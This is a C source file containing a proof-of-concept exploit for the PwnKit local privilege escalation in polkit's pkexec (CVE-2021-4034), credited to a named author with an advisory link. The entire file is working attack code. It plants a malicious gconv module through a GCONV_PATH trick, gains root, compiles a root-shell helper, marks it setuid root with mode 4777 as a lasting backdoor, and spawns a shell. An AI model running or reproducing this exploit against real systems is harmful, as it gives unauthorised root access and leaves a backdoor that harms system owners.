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/*
* Proof of Concept for PwnKit: Local Privilege Escalation Vulnerability Discovered in polkit’s pkexec (CVE-2021-4034) by Andris Raugulis <moo@arthepsy.eu>
* Advisory: https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char *shell =
"#include <stdio.h>\n"
"#include <stdlib.h>\n"
"#include <unistd.h>\n\n"
"void gconv() {}\n"
"void gconv_init() {\n"
" setuid(0); setgid(0);\n"
" seteuid(0); setegid(0);\n"
" system(\"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; rm -rf 'GCONV_PATH=.' 'pwnkit'; chown root:root yuuki; chmod 4777 yuuki; /bin/sh\");\n"
" exit(0);\n"
"}";
char *getroot =
"#include <unistd.h>\n"
"#include <stdio.h>\n"
"int main (void)\n"
"{\n"
" setgid(0);\n"
" setuid(0);\n"
" system(\"/bin/bash\");\n"
" return 0;\n"
"}";
int main(int argc, char *argv[]) {
FILE *fp;
FILE *gr;
system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'");
system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules");
fp = fopen("pwnkit/pwnkit.c", "w");
fprintf(fp, "%s", shell);
fclose(fp);
gr = fopen("getroot.c", "w");
fprintf(gr, "%s", getroot);
fclose(gr);
system("gcc getroot.c -o yuuki");
system("gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC");
char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL };
execve("/usr/bin/pkexec", (char*[]){NULL}, env);
}